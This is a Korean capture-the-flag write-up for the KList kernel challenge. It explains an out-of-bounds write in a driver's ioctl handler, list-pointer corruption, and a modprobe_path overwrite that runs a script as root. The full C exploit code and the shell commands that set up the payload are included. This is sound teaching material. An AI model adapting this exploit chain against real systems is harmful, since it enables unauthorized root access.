KList
취약점 분석
1. klist_ioctl의 EDIT 명령에서 발생하는 OOB Write
/dev/klist는 노드를 단일 연결 리스트로 관리한다. 노드 구조체는 바이너리의 DWARF 정보와 코드 사용 형태를 기준으로 아래처럼 복원할 수 있다.
struct klist_entry {
char data[0x60];
struct klist_entry *next;
size_t pos;
};ADD 명령은 유저가 전달한 0x60 바이트를 data에 저장하고, pos를 strnlen(data, 0x60) 값으로 설정한다. 이후 EDIT 명령은 idx번째 노드를 찾은 뒤 data + pos 위치에 유저 버퍼를 복사한다.
문제는 pos <= 0x5f와 1 <= sz <= 0x60만 확인하고, pos + sz <= 0x60을 검사하지 않는다는 점이다. 따라서 pos를 0x5f로 만든 뒤 9바이트 이상을 쓰면 data 뒤에 위치한 next 포인터를 덮을 수 있다.
if (cur->pos <= 0x5f) {
memcpy(cur->data + cur->pos, ureq.buf, ureq.sz);
cur->pos = strnlen(cur->data, 0x60);
}예를 들어 pos = 0x5f, sz = 9인 경우 실제 쓰기 범위는 아래와 같다.
payload[0] -> data[0x5f]
payload[1..8] -> next즉 첫 번째 노드의 next 포인터를 공격자가 원하는 커널 주소로 바꿀 수 있다.
2. 조작된 next 포인터를 신뢰하는 리스트 순회
SHOW와 EDIT는 idx번째 노드를 찾을 때 next 포인터를 그대로 따라간다. next 포인터가 OOB write로 조작되면, 커널은 공격자가 넣은 주소를 struct klist_entry *처럼 취급한다.
cur = st->head;
if (idx) {
do {
if (!cur)
return -EINVAL;
i++;
cur = cur->next;
} while (i != idx);
}이 문제에서는 첫 번째 노드의 next를 modprobe_path 주소로 덮는다. 그 뒤 idx = 1로 EDIT를 호출하면, 커널은 modprobe_path를 fake klist_entry로 취급한다.
modprobe_path + 0x68 위치의 값은 0이므로 fake node의 pos가 0처럼 동작한다. 따라서 두 번째 EDIT의 memcpy(cur->data + cur->pos, ...)는 곧바로 modprobe_path 시작 주소에 데이터를 쓰게 된다.
cur = head->next; // cur = modprobe_path
pos = *(size_t *)(cur + 0x68); // pos = 0
memcpy(cur + pos, "/tmp/x", 7);결과적으로 modprobe_path를 /tmp/x로 덮고, modprobe 트리거를 통해 root 권한으로 /tmp/x를 실행할 수 있다.
Exploit 과정
Step 1: modprobe_path가 가리킬 스크립트 생성
modprobe_path를 /tmp/x로 덮을 예정이므로, 먼저 /tmp/x에 flag를 읽는 스크립트를 만든다. run.sh에서 flag 파일은 virtio block device로 붙으며, 게스트에서는 /dev/vda로 접근할 수 있다.
system("echo -ne '#!/bin/sh\n' > /tmp/x");
system("echo -ne 'cat /dev/vda > /tmp/flag.txt\n' >> /tmp/x");
system("echo -ne 'chmod 777 /tmp/flag.txt\n' >> /tmp/x");
system("chmod +x /tmp/x");Step 2: pos = 0x5f인 노드 2개 생성
첫 번째 노드의 pos를 0x5f로 만들기 위해 A * 0x5f 뒤에 NULL 바이트를 넣는다. 커널의 ADD는 strnlen(data, 0x60) 결과를 pos로 저장하므로 첫 번째 노드의 pos는 0x5f가 된다.
memset(buf, 'A', sizeof(buf));
buf[0x5f] = 0;
add(fd, buf);
add(fd, buf);Step 3: 첫 번째 노드의 next를 modprobe_path로 덮기
EDIT는 node->data + node->pos에 데이터를 쓴다. 첫 번째 노드의 pos가 0x5f이므로, 9바이트를 쓰면 data[0x5f] 1바이트와 next 8바이트를 덮을 수 있다.
uint64_t modprobe_path = 0xffffffff82b426e0;
char payload[0x9];
payload[0] = 'A';
memcpy(payload + 1, &modprobe_path, 8);
edit(fd, 0, payload, sizeof(payload));이후 리스트는 논리적으로 아래처럼 변한다.
node0 -> modprobe_pathStep 4: idx = 1 edit로 modprobe_path overwrite
idx = 1로 EDIT를 호출하면 커널은 head->next를 따라간다. 앞 단계에서 head->next를 modprobe_path로 바꿨기 때문에, 커널은 modprobe_path를 fake node처럼 취급한다.
현재 커널 이미지에서 modprobe_path + 0x68은 0이므로 fake node의 pos가 0이 된다. 따라서 EDIT는 modprobe_path 시작 주소에 /tmp/x\0를 덮는다.
char new_modprobe_path[] = "/tmp/x";
edit(fd, 1, new_modprobe_path, sizeof(new_modprobe_path));Step 5: modprobe 트리거 후 flag 읽기
run_modprobe()를 호출해 modprobe_path를 트리거한다. 이제 커널은 /tmp/x를 root 권한으로 실행하고, /dev/vda의 내용을 /tmp/flag.txt로 복사한다.
run_modprobe();
system("cat /tmp/flag.txt");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#define ADD_REQ 0x40606b00
#define EDIT_REQ 0x40686b01
#define SHOW_REQ 0xc0646b02
int fd;
char buf[0x60];
char new_modprobe_path[] = "/tmp/x";
// ioctl 요청 구조체
struct edit_req
{
uint32_t idx;
uint32_t sz;
char buf[0x60];
};
void add(int fd, char *buf)
{
ioctl(fd, ADD_REQ, buf);
}
void edit(int fd, uint32_t idx, char *buf, uint32_t sz)
{
struct edit_req req;
req.idx = idx;
req.sz = sz;
memcpy(req.buf, buf, sz);
ioctl(fd, EDIT_REQ, &req);
}
void main()
{
important("happy hacking!");
fd = open("/dev/klist", O_RDWR);
info("fd: %d", fd);
// modprobe_path overwirting setup
system("echo -ne '#!/bin/sh\n' > /tmp/x");
system("echo -ne 'cat /dev/vda > /tmp/flag.txt\n' >> /tmp/x");
system("echo -ne 'chmod 777 /tmp/flag.txt\n' >> /tmp/x");
system("chmod +x /tmp/x");
info("modprobe_path overwriting setup done");
// make two entries
memset(buf, 'A', sizeof(buf));
buf[0x5f] = 0;
add(fd, buf);
add(fd, buf);
info("two entries added");
// edit the first entry to overflow into the second entry's next pointer
uint64_t modprobe_path = 0xffffffff82b426e0;
char payload[0x9];
payload[0] = 'A';
memcpy(payload + 1, &modprobe_path, 8);
edit(fd, 0, payload, sizeof(payload));
info("first entry edited to overflow into second entry's next pointer");
// edit modprobe_path
edit(fd, 1, new_modprobe_path, sizeof(new_modprobe_path));
info("modprobe_path overwritten");
run_modprobe();
system("cat /tmp/flag.txt");
}